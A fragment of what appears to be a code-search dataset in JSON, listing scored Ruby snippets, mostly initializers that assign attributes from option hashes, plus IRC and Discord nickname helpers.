"c03ce793cbdfec53e8c3132b8a96a089", "score": "0.6517443", "text": "def initialize(options={})\n options.each do |o|\n self.send(\"#{o[0]}=\", o[1]) if self.respond_to? \"#{o[0]}=\"\n end\n end", "title": "" }, { "docid": "c03ce793cbdfec53e8c3132b8a96a089", "score": "0.6517443", "text": "def initialize(options={})\n options.each do |o|\n self.send(\"#{o[0]}=\", o[1]) if self.respond_to? \"#{o[0]}=\"\n end\n end", "title": "" }, { "docid": "c03ce793cbdfec53e8c3132b8a96a089", "score": "0.6517443", "text": "def initialize(options={})\n options.each do |o|\n self.send(\"#{o[0]}=\", o[1]) if self.respond_to? \"#{o[0]}=\"\n end\n end", "title": "" }, { "docid": "f760938d9c2b92f70075f1023ba322f8", "score": "0.65082556", "text": "def initialize(attrs = {})\n attrs = EdgeCast.options.merge(attrs)\n Config::VALID_OPTIONS_KEYS.each do |key|\n instance_variable_set(\"@#{key}\".to_sym, attrs[key])\n end\n end", "title": "" }, { "docid": "4cd5e8acfb38488c3e4a6c56964f5979", "score": "0.6481984", "text": "def initialize(options = {})\n options.each do |(attr,value)|\n send(\"#{attr}=\", value)\n end\n self.role ||= 'util'\n end", "title": "" }, { "docid": "0c09c35c73c51e3e67cea7307ae6900a", "score": "0.64752907", "text": "def _set_instance_vars_from_opts(opts)\n opts.each do |name,value|\n self.instance_variable_set(('@' + name.to_s).to_sym,value)\n end\n end", "title": "" }, { "docid": "6c0e19d76cb02e3cbe7dba93ac44f83e", "score": "0.64704716", "text": "def define_setter_with_options(attr,options)\n define_method(\"#{attr}=\") do |val|\n set_attribute(attr,val,options)\n end\n end", "title": "" }, { "docid": "f9a0aec9d1a8a27c8d87294e664ce321", "score": "0.6465962", "text": "def initialize(options={})\n @noChangeAspect = true\n options.each do |o|\n self.send(\"#{o[0]}=\", o[1]) if self.respond_to? \"#{o[0]}=\"\n end\n end", "title": "" }, { "docid": "15430f26764463b5fa379cd4c6a378a7", "score": "0.6463933", "text": "def initialize(options={})\n options.each do |property,value|\n self.send(\"#{property}=\",value)\n end\n end", "title": "" }, { "docid": "bcd2cc796a456ca4015b763944214425", "score": "0.6454962", "text": "def initialize(options={})\n options.each do |key, value|\n send \"#{key}=\", value\n end\n end", "title": "" }, { "docid": "60af61285691273b06f51447fe5123c0", "score": "0.645455", "text": "def initialize(options={})\n options.each do |property, value|\n self.send(\"#{property}=\", value)\n end\n end", "title": "" }, { "docid": "e28315d34bfb5ee6b89f8429c471980d", "score": "0.6451374", "text": "def initialize(options = {})\n options.each { |k,v| instance_variable_set(\"@#{k}\", v) }\n end", "title": "" }, { "docid": "8db16bcab5bad96a37dda348a5c547ba", "score": "0.64273864", "text": "def options\n @options ||= Options.new self.class.dry_initializer.attributes(self)\n end", "title": "" }, { "docid": "206e2ad558be161e55eb5b412a124b7a", "score": "0.6419667", "text": "def initialize(options={})\n \t options = Malibu.options.merge(options)\n \t Configuration::VALID_OPTIONS_KEYS.each do |key|\n \t \tsend(\"#{key}=\", options[key])\n \t end\n \tend", "title": "" }, { "docid": "991b7ebaa2538cbdd2677d9aac99e341", "score": "0.6416439", "text": "def initialize(options={})\n options.each do |key, value|\n send(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n end\n end", "title": "" }, { "docid": "6e05aa330e96c5ce202f0607eba557c9", "score": "0.6416039", "text": "def initialize(attrs={})\n attrs = Cliskip2.options.merge(attrs)\n Config::VALID_OPTIONS_KEYS.each do |key|\n instance_variable_set(\"@#{key}\".to_sym, attrs[key])\n end\n end", "title": "" }, { "docid": "3dde599e804aac47c989e028e654a448", "score": "0.6409244", "text": "def initialize(options = {})\n parse_options(options)\n # options.each do |o|\n # self.send(\"#{o[0]}=\", o[1]) if self.respond_to? \"#{o[0]}=\"\n # end\n end", "title": "" }, { "docid": "3dde599e804aac47c989e028e654a448", "score": "0.6409244", "text": "def initialize(options = {})\n parse_options(options)\n # options.each do |o|\n # self.send(\"#{o[0]}=\", o[1]) if self.respond_to? \"#{o[0]}=\"\n # end\n end", "title": "" }, { "docid": "60e1bf68b8096d56a5e47bed3b8d08fb", "score": "0.64081717", "text": "def _initialize_options\n\n if _options_field.present?\n \n fields = _options_mapping_fields || {}\n prefix= self.class._options_mapping[:prefix]\n validations= _options_mapping_validations || {}\n fields.keys.each do |key|\n unless respond_to?(\"#{prefix}_#{key}\")\n self.class.send(:attr_accessor, \"#{prefix}_#{key}\") \n #class_eval %{\n # def #{prefix}_#{key}=(val)\n # send('#{_options_column}')['#{key}'.to_sym]= val\n # super\n # end\n #} \n end\n end\n #self.class.send(:attr_accessor, *fields.keys.map{|key| \"#{prefix}_#{key}\" })\n \n fields.keys.each {|key| send(\"#{prefix}_#{key}=\", _options_field[key]) if send(\"#{prefix}_#{key}\").nil? }\n\n if validations.present?\n validations.each do |att, validation_opts|\n self.class.send(:validates, *[ \"#{prefix}_#{att}\", validation_opts ])\n end\n end\n\n end\n\n end", "title": "" }, { "docid": "942480f23a7cb1c2630e51b8abda3c3d", "score": "0.64066035", "text": "def attributes(*options)\n self.arkenstone_attributes = options\n options.each do |option|\n send(:attr_accessor, option)\n end\n arkenstone_attributes\n end", "title": "" }, { "docid": "35b5e2668cdc1466ab4a51955abfd253", "score": "0.64047885", "text": "def attr_writer_default options = {}\n options.each do |key, val|\n attr_writer key unless instance_variable_defined? \"@#{key}\"\n instance_variable_set \"@#{key}\", val\n end\n end", "title": "" }, { "docid": "ced69ea379fadc85aa7d137ffabad683", "score": "0.6392491", "text": "def initialize(attrs={})\n attrs = Hull.options.merge(attrs)\n Config::VALID_OPTIONS_KEYS.each do |key|\n instance_variable_set(\"@#{key}\".to_sym, attrs[key])\n end\n end", "title": "" }, { "docid": "ced69ea379fadc85aa7d137ffabad683", "score": "0.6392491", "text": "def initialize(attrs={})\n attrs = Hull.options.merge(attrs)\n Config::VALID_OPTIONS_KEYS.each do |key|\n instance_variable_set(\"@#{key}\".to_sym, attrs[key])\n end\n end", "title": "" }, { "docid": "53cf5097df898326349716114b11a773", "score": "0.6391479", "text": "def attributes=(options)\n options.each do |key, value|\n setter = \"#{key}=\"\n send(setter.to_sym, value) if respond_to? setter\n end\n attributes\n end", "title": "" }, { "docid": "39e90fd88d52c8b61ed04a4099d66efa", "score": "0.6390646", "text": "def initialize(options={})\n options.each_pair { |key, value| instance_variable_set(\"@#{key}\", value) if self.respond_to? key }\n end", "title": "" }, { "docid": "39e90fd88d52c8b61ed04a4099d66efa", "score": "0.6390646", "text": "def initialize(options={})\n options.each_pair { |key, value| instance_variable_set(\"@#{key}\", value) if self.respond_to? key }\n end", "title": "" }, { "docid": "b7ca92680a23a813e9b188f9b5dfe219", "score": "0.63852507", "text": "def initialize(success, **options)\n @response_success = success\n @attribute_keys = options.keys\n options.each do |option_key, option_val|\n singleton_class.send :attr_reader, option_key\n instance_variable_set :\"@#{option_key}\", option_val\n end\n end", "title": "" }, { "docid": "e23f2bfe8d151128472e015e9c0fd61d", "score": "0.63737446", "text": "def copy_instance_variables_from(other_options)\n if other_options.respond_to?(:distance) && other_options.distance\n @distance = other_options.distance\n end\n if other_options.respond_to?(:point) && other_options.point\n @point = other_options.point\n end\n end", "title": "" }, { "docid": "e0c19bd43cef7b9539650b6300a2c5f9", "score": "0.6366988", "text": "def set_attributes(*args)\n options = args && args.extract_options! || {}\n options.each do |attr_name,value|\n if attr_name == :association_name\n self.association_name = value\n else\n self.send(\"#{attr_name}=\".to_sym,value)\n end\n end\n end", "title": "" }, { "docid": "19d9531e2f24679ff101cb43a3e9fae2", "score": "0.6364783", "text": "def initialize(attrs={})\n attrs = Giraffi.options.merge(attrs)\n Config::VALID_OPTIONS_KEYS.each do |key|\n instance_variable_set(\"@#{key}\".to_sym, attrs[key])\n end\n end", "title": "" }, { "docid": "5b038b5a7c1456a2e688e28a297bc7bc", "score": "0.6351162", "text": "def initialize(options={})\n Croudia::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", options[key] || Croudia.instance_variable_get(:\"@#{key}\"))\n end\n end", "title": "" }, { "docid": "c7bb40c5aa7db8e373d6419f5ddd2c8a", "score": "0.63389117", "text": "def set(**options); end", "title": "" }, { "docid": "9bf13538d4d44bd3fa9a180c9207112c", "score": "0.6332731", "text": "def set_attributes\n self.class.attributes.each do |attr|\n model_instance.public_send(\"#{attr}=\", read_attribute(attr))\n end\n end", "title": "" }, { "docid": "2f648dec9bcd2f36d7e62928c0ad2bec", "score": "0.63324684", "text": "def attr_reader_default options = {}\n options.each do |key, val|\n attr_reader key unless instance_variable_defined? \"@#{key}\"\n instance_variable_set \"@#{key}\", val\n end\n end", "title": "" }, { "docid": "ea4c81c95505d7e8801309691fdc273f", "score": "0.6329276", "text": "def attr_opts\n {:attributes_to_get => [\"data\"],\n :consistent_read => @config.consistent_read}\n end", "title": "" }, { "docid": "49dd5f3e8c0473ca80f465c4c21321ac", "score": "0.6328573", "text": "def initialize(attrs={})\n attrs = Tumblord.options.merge(attrs)\n\n Config::VALID_OPTIONS_KEYS.each do |key|\n instance_variable_set(\"@#{key}\".to_sym, attrs[key])\n end\n end", "title": "" }, { "docid": "94ec51233b45d1b03422a659139aac6f", "score": "0.6327447", "text": "def initialize(*args)\n if args.size == 2\n attributes, options = args\n else\n attributes, options = args[0], {}\n end\n\n @allow_writing_readonly_properties = true\n @allow_leaving_required_readonly_properties_blank = true\n\n self.class.defaults.each_pair do |prop, value|\n self[prop] =\n begin\n val = value.dup\n if val.is_a?(Proc)\n val.arity == 1 ? val.call(self) : val.call\n else\n val\n end\n rescue TypeError\n value\n end\n end\n\n @allow_writing_readonly_properties = options.fetch(\n :_allow_writing_readonly_properties,\n false\n )\n\n initialize_attributes(attributes)\n assert_required_attributes_set!\n\n @allow_leaving_required_readonly_properties_blank = false\n end", "title": "" }, { "docid": "1f569cf6d317f56c642de08f48f7252b", "score": "0.6319748", "text": "def options=(options)\n options.each do |k,v|\n instance_variable_set(:\"@#{k}\",v)\n end\n end", "title": "" }, { "docid": "723c1a5f891e78f838f70df6af997fc4", "score": "0.63120294", "text": "def initialize(options={})\n options.each do |property, value|\n self.send(\"#{property}=\", value)\n end\n end", "title": "" }, { "docid": "723c1a5f891e78f838f70df6af997fc4", "score": "0.63120294", "text": "def initialize(options={})\n options.each do |property, value|\n self.send(\"#{property}=\", value)\n end\n end", "title": "" }, { "docid": "723c1a5f891e78f838f70df6af997fc4", "score": "0.63120294", "text": "def initialize(options={})\n options.each do |property, value|\n self.send(\"#{property}=\", value)\n end\n end", "title": "" }, { "docid": "723c1a5f891e78f838f70df6af997fc4", "score": "0.63120294", "text": "def initialize(options={})\n options.each do |property, value|\n self.send(\"#{property}=\", value)\n end\n end", "title": "" }, { "docid": "723c1a5f891e78f838f70df6af997fc4", "score": "0.63120294", "text": "def initialize(options={})\n options.each do |property, value|\n self.send(\"#{property}=\", value)\n end\n end", "title": "" }, { "docid": "56aff5700719f4153aae022e4e4dea3e", "score": "0.63060063", "text": "def initialize(*args)\n attr_hash = args.extract_options\n @proxy = attr_hash.delete(:proxy) || Proxy.new(attr_hash)\n attr_hash.each_pair do |key, value|\n m = \"#{key}=\".to_sym\n next unless self.respond_to? m\n send(m, value)\n end\n end", "title": "" }, { "docid": "c8b53f15f9618007aa7a0cb7e6514cd6", "score": "0.63045335", "text": "def initialize(options = {})\n\t\toptions.each do |property, value|\n\t\t\tself.send(\"#{property}=\", value)\n\t\tend\n\tend", "title": "" }, { "docid": "1459b511508fdbc9875961fdd8525a35", "score": "0.6304342", "text": "def initialize(opts = {})\n opts.each do |opt_name, opt_value|\n raise ArgumentError, \"Invalid option: #{opt_name}\" unless FIELDS.include?(opt_name.to_sym)\n instance_variable_set(\"@#{opt_name}\", opt_value)\n end\n end", "title": "" }, { "docid": "f55d94aae52cbae73ea85168b6e54306", "score": "0.63035727", "text": "def initialize(options)\n initialize_defaults\n options.each do |key, value|\n send(\"#{key}=\", value)\n end\n end", "title": "" }, { "docid": "4b57fca5c0a368895d48b9d56636212c", "score": "0.62999725", "text": "def init_attr\r\n end", "title": "" }, { "docid": "b6fbf4d398715f84519e1dcc1175a417", "score": "0.62921524", "text": "def initialize(options={})\n options.each do |key, value|\n send \"#{key}=\", value\n end\n end", "title": "" }, { "docid": "9f602d9f162d9b8aa64c8af9306e5e4f", "score": "0.62909687", "text": "def initialize(options)\n options.symbolize_keys.each do |key, value|\n raise ArgumentError, \"Invalid key '#{key}'\" unless VALID_KEYS.include?(key)\n instance_variable_set(\"@#{key}\", value)\n end\n\n [:name, :active_directory_authority, :resource_manager_url].each do |key|\n unless instance_variable_get(\"@#{key}\")\n raise ArgumentError, \"Mandatory argument '#{key}' not set\"\n end\n end\n end", "title": "" }, { "docid": "a2b8e4ab787d1e624f27ccc377446d17", "score": "0.62898713", "text": "def initialize(options = {})\n options = Myxy.options.merge(options)\n Config::VALID_OPTIONS_KEYS.each do |key|\n send(\"#{key}=\", options[key])\n end\n end", "title": "" }, { "docid": "4bfa2b47e75768c92db6e9ecda9395e7", "score": "0.6289679", "text": "def initialize\n OPTIONS.each_pair do |key, value|\n self.send(\"#{key}=\", value)\n end\n end", "title": "" }, { "docid": "b9c7486e36cc608443480543514037b1", "score": "0.62895", "text": "def set(options = {})\n tap do |response|\n options.keys.each { |attr| response.send(\"#{attr}=\", options[attr]) }\n end\n end", "title": "" }, { "docid": "8d83dc917259f9260fa30af66906e3ea", "score": "0.62857485", "text": "def set(*attrs)\n attrs.extract_options!.each do |attr,val|\n send(\"#{attr}=\",val)\n end\n end", "title": "" }, { "docid": "746fdf2c6e26cbd6e0831d16ec4e768e", "score": "0.62835884", "text": "def initialize\n super\n members.each do |attribute|\n m = %{\n def #{attribute}=(value)\n self['#{attribute}'] = value\n end\n }\n instance_eval(m)\n end\n end", "title": "" }, { "docid": "573d147f2c1744385b5af590b44c1084", "score": "0.6281969", "text": "def initialize(attrs = {})\n YellowApi.reset # TODO: this shouldn't be required since I'm extending config?\n attrs = YellowApi.options.merge(attrs)\n Config::VALID_OPTIONS_KEYS.each do |k|\n instance_variable_set(\"@#{k}\".to_sym, attrs[k])\n end\n end", "title": "" }, { "docid": "f3b28f0516a91f8c43c23e29c59a93dc", "score": "0.62739456", "text": "def set_attributes_defaults!\n self.class.attributes_set.each do |attr_name, options|\n instance_variable_set(:\"@#{attr_name}\", options[:default])\n end\n end", "title": "" }, { "docid": "a28d5beaa24086b04e638dc7d0761c7b", "score": "0.62713057", "text": "def initialize(**opt)\n update!(**opt)\n end", "title": "" }, { "docid": "6fa7b55315930c80b6df7157fe86674e", "score": "0.62693655", "text": "def initialize(options={})\n Vineyard::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", options[key] || Vineyard.instance_variable_get(:\"@#{key}\"))\n end\n end", "title": "" }, { "docid": "8f950609942da168d85c6a2a437d373e", "score": "0.6267938", "text": "def initialize(options={})\n Echowrap::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", options[key] || Echowrap.instance_variable_get(:\"@#{key}\"))\n end\n end", "title": "" }, { "docid": "d6cf9b6af89204510993694842537a88", "score": "0.62636405", "text": "def initialize(options={})\n Attune::Configurable::KEYS.each do |key|\n send(\"#{key}=\", options[key] || Attune::Default.send(key))\n end\n end", "title": "" }, { "docid": "9d87a7bef8d71c1d9a329dd245997e42", "score": "0.62570786", "text": "def initialize(options = {})\n options.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end", "title": "" }, { "docid": "18fa545b9760fc74ba5f82dbf619810d", "score": "0.62560916", "text": "def set_instance_attributes\n @price ||= 1\n @capacity ||= 15.0\n @period ||= 5 * self.coins\n end", "title": "" }, { "docid": "3822f081c52e94690110ac6f4c1cfb26", "score": "0.6251902", "text": "def initialize(options)\n super(options.merge(COMMON_ATTRIBUTES))\n end", "title": "" }, { "docid": "5ed17b470c12153d7aeb7131acc30122", "score": "0.6251221", "text": "def initialize(options={})\n Faceberry::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", options[key] || Faceberry.instance_variable_get(:\"@#{key}\"))\n\t\t\tend\n end", "title": "" }, { "docid": "c64110259ad17e05faa18fc45a7ce7f0", "score": "0.6248121", "text": "def initialize(options={})\n options.each do |key, value|\n self.send(\"#{key}=\", value)\n end\n end", "title": "" }, { "docid": "8332c3cb95373ba9fcbc2caab8b99175", "score": "0.6241126", "text": "def initialize(params= {})\n params.each { |k, v| instance_variable_set(\"@#{k.underscore}\", v) if ATTRS.include?(k.to_sym) }\n\n end", "title": "" } ]
87f296b33933c8b658890790775056a2
Returns the nick this stem is using.
[ { "docid": "d517017083a7bcdd56485538c68028a8", "score": "0.79916155", "text": "def nickname\n @nick\n end", "title": "" } ]
[ { "docid": "b9ebd6ed134771eb6c5bad56da104e41", "score": "0.8265171", "text": "def nick\r\n return for_context(nil, false) { |c| c.nick }\r\n end", "title": "" }, { "docid": "6bfac2f9d5935c6a7ab46d7eb0d97a57", "score": "0.7958614", "text": "def nick\n @bot.nick\n end", "title": "" }, { "docid": "f9ab0f46987e3eab6ac25d6a812a052b", "score": "0.7863857", "text": "def nick\n @name\n end", "title": "" }, { "docid": "0c35ac01314c110546275117da30b3a0", "score": "0.7504002", "text": "def nickname\n return @nickname\n end", "title": "" }, { "docid": "b433ecfe22288f50387838faae376853", "score": "0.7343929", "text": "def nick\n @prefix =~ PREFIX_PAT and $1\n end", "title": "" }, { "docid": "f43bba5989a9504a58e8317a4980a7bc", "score": "0.7342167", "text": "def getnick(nickname)\n send_command(:getnick, @options[:nickname] = nickname.to_s)\n read_response # \"Nickname set to #{nickname}\"\n self\n end", "title": "" }, { "docid": "e54111320db9ccca6e5bf07f4bbd7eef", "score": "0.72425973", "text": "def nickname\n @nickname\n end", "title": "" }, { "docid": "bda0f21b6e1f39ebe5f37316cc80dabe", "score": "0.71407545", "text": "def nickname\n user_info['nickname']\n end", "title": "" }, { "docid": "ca0af9e02c40580b47efab579b83332b", "score": "0.70906806", "text": "def nickname\r\n return @user.nickname\r\n end", "title": "" }, { "docid": "cb69f8adbacc91ed51130129eadc53a3", "score": "0.70191383", "text": "def nick(nickname)\n raw \"NICK #{nickname}\\r\\n\"\n end", "title": "" }, { "docid": "72c6bfaf20ae9cbc4baef79cf31b9af5", "score": "0.69607604", "text": "def nickname\n Blogical::Application.nickname\n end", "title": "" }, { "docid": "acc718be7a3b15b4a87b64e923452894", "score": "0.69572467", "text": "def getNick jid\n\t\tuser = @users.read [\"nick\"], [\"jid\", jid]\n\t\tif user.count > 0\n\t\t\tuser[0]['nick']\n\t\telse\n\t\t\tnil\n\t\tend\n\tend", "title": "" }, { "docid": "38f13abec529ef9d9437abdeae706e0d", "score": "0.694534", "text": "def nickname\n data = get 'name', resource: 'leaderboard'\n data.name\n end", "title": "" }, { "docid": "8ca03a19c3e3d2952b7bda04778e5c36", "score": "0.6709075", "text": "def nick_canon\n @nick_canon ||= @connection.canonize @nick\n end", "title": "" }, { "docid": "f346b22a77c7108f39c438dbe887ca98", "score": "0.66846013", "text": "def nickname\n (f, l) = full_name.split(\" \", 2)\n \"#{f}#{l.split(/[\\s']/).collect(&:first).join}\"\n end", "title": "" }, { "docid": "38292ec515d147811a5e41ad4ccf8816", "score": "0.65438956", "text": "def normalise_nick(nick)\n return /^[@+]?(.*)$/.match(nick)[1]\n end", "title": "" }, { "docid": "b7cbc27b62b238b5af88edb23589d561", "score": "0.6536881", "text": "def nickname\n @attributes[:nickname]\n end", "title": "" }, { "docid": "12480d84b8b4ae452068712eb32ea6f1", "score": "0.65338004", "text": "def getNickFromId id\n\t\tuser = @users.read [\"nick\"], [\"id\", id]\n\t\tif user.count > 0\n\t\t\tuser[0]['nick']\n\t\telse\n\t\t\tnil\n\t\tend\n\tend", "title": "" }, { "docid": "fe6ff9d018ea1b601685eb51a8a96ece", "score": "0.6505126", "text": "def to_label\n nick\n end", "title": "" }, { "docid": "73f66c08ae81a684bf725a1d92db20a9", "score": "0.6486821", "text": "def nick(nick)\n @nick = nick\n sendmsg(\"NICK #{nick}\")\n end", "title": "" }, { "docid": "913d39b266faa690241649536e848bdc", "score": "0.6427324", "text": "def nickname\n return @poco_data[:nickname] unless @poco_data == nil\n pick_first_node(@poco.xpath('./poco:nickname'))\n end", "title": "" }, { "docid": "bdeb44d8a5c869edd88f96aba713d5e6", "score": "0.6397334", "text": "def nickname\n (preferred_name && !preferred_name.strip.empty?) ? preferred_name : first_name\n end", "title": "" }, { "docid": "f5820d98997d54e7d279fda6a12b967e", "score": "0.6383677", "text": "def change_nick(new_nick)\n nick new_nick\n end", "title": "" }, { "docid": "ac11a8c9495b760a31ffdb888dbabe49", "score": "0.62963235", "text": "def nickname(user)\n nickname = (!user.blank? && !user.nickname.blank?)? user.nickname : I18n.t('guest_name')\n nickname\n end", "title": "" }, { "docid": "ea497d9d88f4d6a8d1e4420d7866ab45", "score": "0.62583315", "text": "def nick?(str)\n str.match(nick_regex) != nil\n end", "title": "" }, { "docid": "2ee5e026680382cce6799b5526386293", "score": "0.6256812", "text": "def nick(nick)\n @socket << \"NICK #{nick}\"\n end", "title": "" }, { "docid": "f508c236dae084ebbf698e8c1a765900", "score": "0.6236385", "text": "def get_nickname(member)\n nickname = \"\"\n entry = @client[:nicknamer].first(server_id: member.server.id, role: member.colour_role.id)\n if entry\n nickname += (entry[:upper_prefix] || \"\") + \" \"\n end \n\n nickname += member.roles.map {|role| \n role_entry = @client[:nicknamer].first(server_id: role.server.id, role: role.id)\n role_entry[:normal_prefix] if role_entry\n }.join(\" \")\n nickname += member.name + \" \"\n \n nickname += member.roles.map {|role| \n role_entry = @client[:nicknamer].first(server_id: role.server.id, role: role.id)\n role_entry[:normal_suffix] if role_entry\n }.join(\" \")\n\n if entry\n nickname += (entry[:upper_suffix] || \"\")\n end \n nickname\n end", "title": "" }, { "docid": "988256850c446ce735ca25173604de63", "score": "0.61687493", "text": "def full_username\r\n return @user.username + '#' + @user.discriminator\r\n end", "title": "" }, { "docid": "9df070c7235aff0ad9dd9ece76b50678", "score": "0.61586964", "text": "def nick(nicknam)\n raise 'invalid nick' unless IRC.nickname?(nicknam)\n @nickname = nicknam\n send_msg(\"NICK #{@nickname}\")\n end", "title": "" }, { "docid": "9d07f57039da498dce36bd71e1e16baf", "score": "0.61484593", "text": "def nickname=(value)\n @nickname = value\n end", "title": "" }, { "docid": "2a49cdb48b6cd41000d695f16d1d0768", "score": "0.6101202", "text": "def nicks\n match(/Nicks\\s+:\\s+([^\\s]+(?:\\s[^\\s]+)*)$/).split.map{|nick| Atheme::User.new(@session, nick)} rescue []\n end", "title": "" }, { "docid": "1146420d964a057c23265cecec20d378", "score": "0.60895985", "text": "def get_nickname(user_info)\n return user_info[\"screen_name\"]\n end", "title": "" }, { "docid": "ab91c50e33a304586e8541584fe8c92d", "score": "0.6064835", "text": "def nick(msg)\n if msg.user.last_nick == @settings['identity']['nick']\n bot.nick = @settings['identity']['nick']\n return\n end\n str = sprintf('*** %s is now known as %s',msg.user.last_nick,msg.user.nick)\n # gotta log to every channel this user is in\n (msg.user.channels & msg.bot.channels).each do |channel|\n log(msg,str,channel)\n end\n @beans[:nick]+=1\n end", "title": "" }, { "docid": "3b29d711f71a4d23414f8d6c4a39c0a0", "score": "0.60174024", "text": "def update_nick(new_nick)\n @last_nick, @name = @name, new_nick\n @last_id, @id = @id, sanitize(new_nick)\n @bot.user_list.update_nick(self)\n end", "title": "" }, { "docid": "98b4ea03d217047fc2d077d33b297f89", "score": "0.60028714", "text": "def mail_nickname\n return @mail_nickname\n end", "title": "" }, { "docid": "461f0ffce1684e4c3212e92084937886", "score": "0.5983124", "text": "def on_nick msg\n return unless msg.connection == self\n\n if msg.me?\n @nick = msg.text\n return\n end\n end", "title": "" }, { "docid": "67391875e2065b6a0ec9770c974d8f19", "score": "0.5938598", "text": "def generate_next_nick(base = nil)\n nicks = @config.nicks || []\n\n if base\n # if `base` is not in our list of nicks to try, assume that it's\n # custom and just append an underscore\n if !nicks.include?(base)\n return base + \"_\"\n else\n # if we have a base, try the next nick or append an\n # underscore if no more nicks are left\n new_index = nicks.index(base) + 1\n if nicks[new_index]\n return nicks[new_index]\n else\n return base + \"_\"\n end\n end\n else\n # if we have no base, try the first possible nick\n new_nick = @config.nicks ? @config.nicks.first : @config.nick\n end\n end", "title": "" }, { "docid": "0a2e488a6708b041fb573811a4f29e73", "score": "0.59314436", "text": "def name(type=:short)\n if type == :short && !nickname.blank?\n nickname\n elsif type == :short && displayName\n first, last = displayName.split\n \"#{first} #{last[0]}\"\n elsif type == :full && displayName\n displayName\n else\n umbcusername\n end\n end", "title": "" }, { "docid": "2f8a7ddb82213bb0a3a1d139a7c917d8", "score": "0.5926843", "text": "def connection_for nick\n @connection_cache[nick]\n end", "title": "" }, { "docid": "8e92ad192ac0fd72917969c113142caf", "score": "0.5902404", "text": "def invent_nick(jid)\n /^([^@]+)/ =~ jid.to_s\n return jid if not $1 or not User.valid_nick?($1)\n return $1 if not get_user_with_nick($1)\n (2 .. 100).each do |i|\n new_nick = \"#{$1}#{i}\"\n return new_nick if not get_user_with_nick(new_nick)\n end\n jid\n end", "title": "" }, { "docid": "257e2d8fb8c10cba4e01bcb9bd1924e7", "score": "0.5892812", "text": "def father_name\n \n Tweet.find(self.tweet_id).user.username\n \n end", "title": "" }, { "docid": "e63608e15649be1300db83d4ab26a3d4", "score": "0.5864809", "text": "def name\n [\n model.discord_guild.name,\n model.discord_user.username\n ].join(' - ')\n end", "title": "" }, { "docid": "d20a7327676e14f17fd7bd7afc4f6071", "score": "0.5855901", "text": "def modify_current_user_nick(guild_id, nick:)\n response = request(\n :guilds_gid_members_me_nick, guild_id,\n :patch,\n \"guilds/#{guild_id}/members/@me/nick\",\n nick: nick,\n )\n response.body\n end", "title": "" }, { "docid": "d9d5b3b1c5eff35dd1ab64d4053b5a28", "score": "0.5853234", "text": "def nick(m)\n channel_users do |users|\n unless users.has_key?(m.user.last_nick)\n fail \"user '#{m.user.last_nick}' not found\"\n end\n\n users[m.user.nick] = users[m.user.last_nick]\n users.delete(m.user.last_nick)\n\n users[m.user.nick].each do |chan|\n @loggers[chan].each { |l| l.log(:nick, m) }\n end\n end\n end", "title": "" }, { "docid": "6d8d307238d91056e83cc52eae8ac390", "score": "0.5845123", "text": "def single_nick?\n @nick != '*'\n end", "title": "" }, { "docid": "bce5fed681f98e0e8af7145ba73d0cf6", "score": "0.58218473", "text": "def guild_name\n\t\t@guild_name\n\tend", "title": "" }, { "docid": "9b626acd55ac2907b12360cbe596aeef", "score": "0.5808318", "text": "def relayed_nick_parts\n @relayed_nick_parts ||= cinch_user.nick.split('/', 2)\n end", "title": "" }, { "docid": "ca36c1f26cf3b117c94685d06907438b", "score": "0.5798644", "text": "def username\n account = github_accounts.first || slack_accounts.first\n account ? account.username : id\n end", "title": "" }, { "docid": "738c4c339fb3fd4bd334a9abcbea5b09", "score": "0.5798425", "text": "def without_nick(message)\n possible_nick, command = message.split(' ', 2)\n if possible_nick.casecmp(at_nick) == 0\n command\n else\n message\n end\n end", "title": "" }, { "docid": "c13a1a5294c82f4e03c3fb9d7bedb657", "score": "0.57815427", "text": "def set_nickname\n @nickname = Nickname.find(params[:id])\n end", "title": "" }, { "docid": "14d5b555cb5c97389dd6d4ce9213b6c1", "score": "0.57685184", "text": "def local_nick(body)\n name1 = _pop_token(body)\n name2 = _pop_token(body)\n raise \"Usage: /nick <old_name> <new_name>\" if name1.to_s.empty?\n if name2.to_s.empty?\n name2 = name1\n name1 = @var[:our_name]\n end\n raise \"Name '#{name2}' is already in use\" if @var[:user_keys][name2]\n\n # Perform the renaming\n kh = @connection.comm.sender_keyhash(name1)\n key = @connection.comm.rsa_keys[name1]\n raise \"Invalid user name: '#{name1}'\" unless kh and key\n @connection.comm.rsa_keys[name2] = key\n @connection.comm.rsa_keys.delete(name1)\n @connection.comm.names[kh] = name2\n @var[:user_keys][name2] = key\n @var[:user_keys].delete name1\n @var[:granted].collect! { |x| x = name2 if x == name1 ; x }\n @var[:granted_by].collect! { |x| x = name2 if x == name1 ; x }\n @var[:revoked].collect! { |x| x = name2 if x == name1 ; x }\n \n # And lastly, if this is us, update our special name attribute\n @var[:our_name] = name2 if @var[:our_name] == name1\n _notice(\"#{name1} is now known as #{name2}\")\n _save_env\nend", "title": "" }, { "docid": "d85351c8c1fe6ffd637dff293ed99009", "score": "0.576206", "text": "def change_own_nickname(token, server_id, nick)\n request(\n __method__,\n :patch,\n \"#{api_base}/guilds/#{server_id}/members/@me/nick\",\n { nick: nick }.to_json,\n Authorization: token,\n content_type: :json\n )\n end", "title": "" }, { "docid": "4e12ad1c4e0ebcf4da8cf01c461df19e", "score": "0.5742828", "text": "def change_nick(nick)\n join(nick)\n end", "title": "" }, { "docid": "41561547892a727bc204f6784bf3a7bc", "score": "0.57381696", "text": "def send_nick(n=@nick)\n @nick = n\n @connection.send_data(make_packet(\"nick\", {\"name\" => n}))\n end", "title": "" }, { "docid": "546fd51371b45808ed85326bf53f8238", "score": "0.5736852", "text": "def username\n return username_nada if !username_nada.nil?\n username_kth\n end", "title": "" }, { "docid": "590b13b457f0acd776a36ccf4b9dd5d6", "score": "0.5728803", "text": "def client_name\n sockname[0]\n end", "title": "" }, { "docid": "dbc8b8bd49a746d0df30c0fc65a5d281", "score": "0.57066435", "text": "def username\n @username ||= match[3]\n end", "title": "" }, { "docid": "7c1d9053ac0525857417c16ead727338", "score": "0.5695171", "text": "def get_user_with_nick(nick)\n @users.values.each do |u|\n return u if u.nick == nick\n end\n nil\n end", "title": "" }, { "docid": "37e26fa55c016054a13a75ca02f36971", "score": "0.56875956", "text": "def naming\n name || nickname\n end", "title": "" }, { "docid": "500ab0195b188077b06a92cda06e9288", "score": 